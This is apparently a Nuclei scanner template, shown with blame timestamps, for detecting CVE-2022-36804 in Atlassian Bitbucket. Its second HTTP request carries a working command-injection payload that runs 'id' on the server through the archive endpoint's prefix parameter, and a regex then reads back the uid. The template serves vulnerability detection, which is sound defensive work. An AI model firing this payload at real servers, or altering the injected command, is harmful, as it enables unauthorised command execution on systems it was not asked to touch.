2022-09-19 22:05:26 +00:00
id : CVE-2022-36804
info :
2023-04-10 17:54:14 +00:00
name : Atlassian Bitbucket - Remote Command Injection
2022-09-19 22:05:26 +00:00
author : DhiyaneshDk,tess,sullo
2022-09-19 22:22:46 +00:00
severity : high
2022-09-19 22:05:26 +00:00
description : |
2023-04-10 17:54:14 +00:00
Atlassian Bitbucket Server and Data Center is susceptible to remote command injection. Multiple API endpoints can allow an attacker with read permissions to a public or private Bitbucket repository to execute arbitrary code by sending a malicious HTTP request, thus making it possible to obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials. Affected versions are 7.0.0 before version 7.6.17, from version 7.7.0 before version 7.17.10, from version 7.18.0 before version 7.21.4, from version 8.0.0 before version 8.0.3, from version 8.1.0 before version 8.1.3, and from version 8.2.0 before version 8.2.2, and from version 8.3.0 before 8.3.1.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire system.
2023-09-06 11:59:08 +00:00
remediation : |
Apply the latest security patches provided by Atlassian to mitigate the vulnerability.
2022-09-19 22:05:26 +00:00
reference :
- https://github.com/notdls/CVE-2022-36804
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-36804
- https://jira.atlassian.com/browse/BSERV-13438
2023-04-10 17:54:14 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-36804
2023-07-11 19:49:27 +00:00
- http://packetstormsecurity.com/files/171453/Bitbucket-7.0.0-Remote-Command-Execution.html
2022-09-19 22:05:26 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score : 8.8
cve-id : CVE-2022-36804
cwe-id : CWE-77
2024-03-23 09:28:19 +00:00
epss-score : 0.97343
epss-percentile : 0.99886
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:atlassian:bitbucket:*:*:*:*:*:*:*:*
2022-09-19 22:05:26 +00:00
metadata :
2023-04-28 08:11:21 +00:00
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : atlassian
product : bitbucket
2023-09-06 11:59:08 +00:00
shodan-query : http.component:"BitBucket"
2024-01-14 09:21:50 +00:00
tags : cve,cve2022,packetstorm,bitbucket,atlassian,kev
2022-09-19 22:05:26 +00:00
variables :
data : '{{rand_base(5)}}'
2023-04-27 04:28:59 +00:00
http :
2022-09-19 22:05:26 +00:00
- raw :
- |
GET /rest/api/latest/repos HTTP/1.1
Host : {{Hostname}}
- |
GET /rest/api/latest/projects/{{key}}/repos/{{slug}}/archive?filename={{data}}&at={{data}}&path={{data}}&prefix=ax%00--exec=%60id%60%00--remote=origin HTTP/1.1
Host : {{Hostname}}
2023-07-11 19:49:27 +00:00
stop-at-first-match : true
2022-09-19 22:05:26 +00:00
iterate-all : true
2023-07-11 19:49:27 +00:00
matchers-condition : and
matchers :
- type : word
words :
- "com.atlassian.bitbucket.scm.CommandFailedException"
- type : status
status :
- 500
2022-09-19 22:05:26 +00:00
extractors :
- type : json # type of the extractor
name : key
2023-07-11 19:49:27 +00:00
internal : true
2022-09-19 22:05:26 +00:00
json :
- '.["values"] | .[] | .["project"] | .key'
part : body
2023-08-31 11:46:18 +00:00
- type : json
2022-09-19 22:05:26 +00:00
name : slug
2023-07-11 19:49:27 +00:00
internal : true
2022-09-19 22:05:26 +00:00
json :
- '.["values"] | .[] | .slug'
2023-07-11 19:49:27 +00:00
part : body
2023-08-31 11:46:18 +00:00
2022-09-19 22:05:26 +00:00
- type : regex
group : 1
regex :
- 'uid=.*\(([a-z]+)\):'
2024-03-25 11:57:16 +00:00
# digest: 4a0a0047304502207f05b6fa75f5b18f40fc9cc67c652ba6c7601a227fe47e0bb3a03972933cabf30221009e3c19b251fb9154d5ade0ac96346cf96e5f9d320a6b1322a5a54fb104555e6d:922c64590222798bb761d5b6d8e72950